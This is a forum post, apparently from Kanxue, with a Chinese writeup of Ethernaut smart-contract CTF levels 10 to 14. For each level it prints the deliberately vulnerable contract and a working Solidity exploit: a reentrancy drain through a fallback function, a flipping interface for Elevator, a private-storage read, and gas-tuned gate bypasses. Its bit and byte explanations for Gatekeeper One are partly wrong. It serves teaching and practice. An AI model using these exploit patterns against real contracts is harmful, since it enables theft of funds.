首页
论坛
课程
招聘

[原创]Ethernaut智能合约代码审计题目writeup(10-14)

3天前 580

[原创]Ethernaut智能合约代码审计题目writeup(10-14)

3天前
580

Re-entrancy


目标:拿到合约里面的所有资金

这个题老版本失败!白往里面放了那么多钱!!!

用新版本的成功了

pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Reentrance {
  using SafeMath for uint256;
  mapping(address => uint) public balances;
  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }//捐赠
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }//查看余额
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {//提现金额要大于余额
      (bool result, bytes memory data) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }//提现
      balances[msg.sender] -= _amount;
    }//但是这里是完成交易之后再从账户里面把提现的金额减去
  }
  function() external payable {}
}

因为他是提现完成之后才修改账户余额的,可以使用重入攻击

另外常用转币方式有三种,题目中用了第三种方法

<address>.reansfer()

发送失败时会通过 throw 回滚状态,只会传递 2300 个 gas 以供调用,从而防止重入


<address>.send()

发送失败时,返回布尔值 false,只会传递 2300 个 gas  以供调用,从而防止重入


<address>.gas().call.value()()

当发送失败时,返回布尔值 false 将传递所有可用的 gas 进行调用(可通过 gas(gas _value) 进行限制),不能有效防止重入攻击


用的是这个脚本:

pragma solidity ^0.6.4;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/SafeMath.sol';
contract Reentrance { 
  using SafeMath for uint256;
  mapping(address => uint) public balances;
  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }
  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }
  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result, bytes memory data) = msg.sender.call.value(_amount)("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }
  fallback() external payable {}
}
contract Reenter {
    Reentrance reentranceContract;
    uint public amount = 1 ether;    //withdrawal amount
    
    constructor(address payable reentranceContactAddress) public payable {
        reentranceContract = Reentrance(reentranceContactAddress);
    }
function initiateAttack() public {
    reentranceContract.donate{value:amount}(address(this));
    //首先,需要捐赠一些钱
    reentranceContract.withdraw(amount);
    //然后调用合约的withdraw函数提现
  }
  fallback() external payable {
    if (address(reentranceContract).balance >= 0 ) {
        reentranceContract.withdraw(amount); 
    }//因为我们接受以太币的时候也会调用我们的回退函数
     //而我们的回退函数中又一次调用了题目合约的withdraw函数
   }
}

部署的时候给他 1 ether,然后使用 initiateAttack 就可以啦


image.png


image.png


执行后


image.png


image.png


Elevator


目标:成为 top,让变量 top 变为 true

代码:

pragma solidity ^0.4.18;
interface Building {
  function isLastFloor(uint) view public returns (bool);
}//定义了一个接口,这个函数返回你是不是在最顶层
contract Elevator {
  bool public top;//布尔型变量,是否是top,默认false
  uint public floor;//楼层
  function goTo(uint _floor) public {
    Building building = Building(msg.sender);
    if (!building.isLastFloor(_floor)) {//如果不是最顶层的话就进入if
      floor = _floor;//拿到你的_floor
      top = building.isLastFloor(floor);//让top等于判断结果,所以还是false
    }//但是如果你是top的话,没有改top的机会,所以还是false
  }
}

题目声明了 Building 接口中的那个 isLastFloor 函数,我们可以自己编写

只要让他反转两次就可以啦


exp:

pragma solidity ^0.4.18;
interface Building {
  function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
  bool public top;
  uint public floor;
  function goTo(uint _floor) public {
    Building building = Building(msg.sender);
    if (!building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

contract BuildingEXP{
    Elevator ele;
    bool toop = true;//一开始定义为true
    function isLastFloor(uint) view public returns (bool) {
        toop = !toop;//在if那个地方要为false进入
      	//在top那个地方再次反转为false,这样就能保证top一直都是true啦
        return toop;
    }
    function attack(address _addr) public{
        ele = Elevator(_addr);
        ele.goTo(5);
    }
}

部署 hack 合约,然后执行 exploit 函数,就可以了,可以用 flag 查看一下

也可以在控制台查看 await contract.top()


image.png


image.png


image.png


Privacy


目标:解锁需要一个 key,而这个 key 是 data[2] 是 private 的

在区块链上面没有私密的东西,都是公开的,只要找到就能过关

pragma solidity ^0.4.18;
contract Privacy {
  bool public locked = true;
  uint256 public constant ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;
  function Privacy(bytes32[3] _data) public {
    data = _data;
  }
  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }
  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

evm 每次处理32个字节,不足 32 字节的变量相互共享并补齐 32 字节

那么我们简单分析下题目中的变量:

bool public locked = true;  //1 字节 01

uint256 public constant ID = block.timestamp; //32 字节 常量 不写入存储

uint8 private flattening = 10; //1 字节 0a

uint8 private denomination = 255;//1 字节 ff

uint16 private awkwardness = uint16(now);//2 字节

bytes32[3] private data;


第一个32 字节就是由locked、flattening、denomination、awkwardness组成,另外由于常量 constant 是无需存储的,所以从第二个32 字节开始就是 data。前几个合起来是第一个 32,data[0] 是第二个 32,data[1] 是第三个 32,所以我们的是第四个

web3.eth.getStorageAt(instance,3,function(x,y){console.info(y);})


image.png


这个脸,好诡异


image.png


Gatekeeper One


目标:绕过三个 gate 来执行 enter 函数

pragma solidity ^0.4.18;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract GatekeeperOne {
  using SafeMath for uint256;
  address public entrant;
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;//可以部署一个中间合约来调用绕过
  }
  modifier gateTwo() {
    require(msg.gas.mod(8191) == 0);
    _;//gas要满足8191取余为0
  }
  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;//这个后文中详细说说
  }
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

调试看看

首先部署一个原来的


image.png


然后复制部署的合约地址,部署我们测试的攻击合约(我们要先部署一个可以打通的来绕过第一个关卡,方便调试看看第二个怎么弄)

pragma solidity ^0.4.18;
contract GatekeeperOne {
  address public entrant;
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
  modifier gateTwo() {
    require(msg.gas % 8191 == 0);
    _;
  }
  modifier gateThree(bytes8 _gateKey) {
    require(uint32(_gateKey) == uint16(_gateKey));
    require(uint32(_gateKey) != uint64(_gateKey));
    require(uint32(_gateKey) == uint16(tx.origin));
    _;
  }
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
contract MyAgent {
    GatekeeperOne c;
 
    function MyAgent(address _c) {
        c = GatekeeperOne(_c);
    }
    function exploit() {
        bytes8 _gateKey = bytes8(msg.sender) & 0xffffffff0000ffff;
        c.enter.gas(81910)(_gateKey);
        //c.enter.gas(81910-81697+81910+2)(_gateKey);
        //注释的是正确的,但是先调试看看
    }
}


image.png


然后点击 exploit,完成后选择中间窗口的 debug


image.png


首先,因为我们是使用另一个合约调用的,所以第一个 gate 是可以绕过的,然后我们来看一下第二个关卡需要多少 gas


接下来的一步需要的 gas 是 2,msg.gas 就是 remaining gas,想要绕过这一关就需要让 remaining gas % 8191 = 0。而在之前我们写入的值是 81910,现在的值是 81697,那么之前总消耗的值就是:81910-81697=213,再走一步再消耗 2,也就是说,如果我们想要让这一步结束之后 remaining gas % 8191 = 0 的话,或者说想要让他执行完之后刚好是 81910 的话,就需要让之前的值为:213+2+81910。所以想要绕过第二个关卡的话,值应该是 213+2+81910


image.png


第三个关卡:

modifier gateThree(bytes8 _gateKey) {
	require(uint32(_gateKey) == uint16(_gateKey));
	require(uint32(_gateKey) != uint64(_gateKey));
	require(uint32(_gateKey) == uint16(tx.origin));
	_;
}
  • 先看最后一个判断 tx.origin 是最初的调用者,就是我们的账户,uint16 是最后 8 字节,要与 uint32 的 key 也就是最后 16 字节相等,所以 key 的最后 8 字节就是 tx.origin 的最后 8 字节
  • 同时如果第一个条件 uint32 的 key 要与 uint16 的 key 相等,所以 key 的 uint32 类型 16 字节前面的八个字节要全为 0
  • 再看中间那个,key 的后 16 字节还不能和整个 32 字节相等,前面只要不是 0 就不会相等


综上,key 如果是 0xFFFFFFFF0000FFFF & tx.origin 的话就正好可以


Gatekeeper Two


目标与上一关相同

pragma solidity ^0.4.18;
contract GatekeeperTwo {
  address public entrant;
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    //用内联汇编来获取调用方caller的代码大小
    require(x == 0);
    _;
  }
  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}

gate1:还是要建一个合约用来间接调用

gate2:extcodesize 是用来获取指定地址合约代码大小的,这里用内联汇编的方式来获取调用方 caller 的代码大小。一般来说,当 caller 为合约时,获取的大小为合约字节码大小,caller 为账户时,获取的大小为 0,但是这样就不能满足第一个了。合约在初始化时代码大小为 0。所以我们可以把攻击合约的调用操作写在构造函数中

gate3:传入一个八字节的 key,把 msg.sender 的 hash 计算出来与 uint64 类型的 key 异或,要等与 0-1,也就是 0xFFFFFFFFFFFFFFFF,只要我们先用 uint64(keccak256(msg.sender)) 与 0xFFFFFFFFFFFFFFFF 进行异或,这样再次异或的时候就成了 0xFFFFFFFFFFFFFFFF,也就符合条件了

(优先级为 – 大于 ^ 大于 ==)


exp:

pragma solidity ^0.4.18;
contract GatekeeperTwo {
  address public entrant;
  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }
  modifier gateTwo() {
    uint x;
    assembly { x := extcodesize(caller) }
    require(x == 0);
    _;
  }
  modifier gateThree(bytes8 _gateKey) {
    require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
    _;
  }
  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
    entrant = tx.origin;
    return true;
  }
}
contract attack{
    function attack(address param){
        GatekeeperTwo a =GatekeeperTwo(param);
        bytes8 _gateKey = bytes8((uint64(0) -1) ^ uint64(keccak256(this)));
        a.enter(_gateKey);
    }
}

把上面 exp 部署以后就可以达到目的可以提交啦


image.png



[推荐]看雪工具下载站,全新登场!(Android、Web、漏洞分析还未更新)

最后于 3天前 被kanxue编辑 ,原因:
最新回复 (3)
yichen115 1 3天前
2
0
emmm。。怎么显示不出来?
kanxue 8 3天前
3
0
yichen115 emmm。。怎么显示不出来?
问题解决,应该是编辑器安全性过滤检查,一些敏感字符串引起的。
yichen115 1 2天前
4
0
kanxue 问题解决,应该是编辑器安全性过滤检查,一些敏感字符串引起的。
了解了
游客
登录 | 注册 方可回帖
返回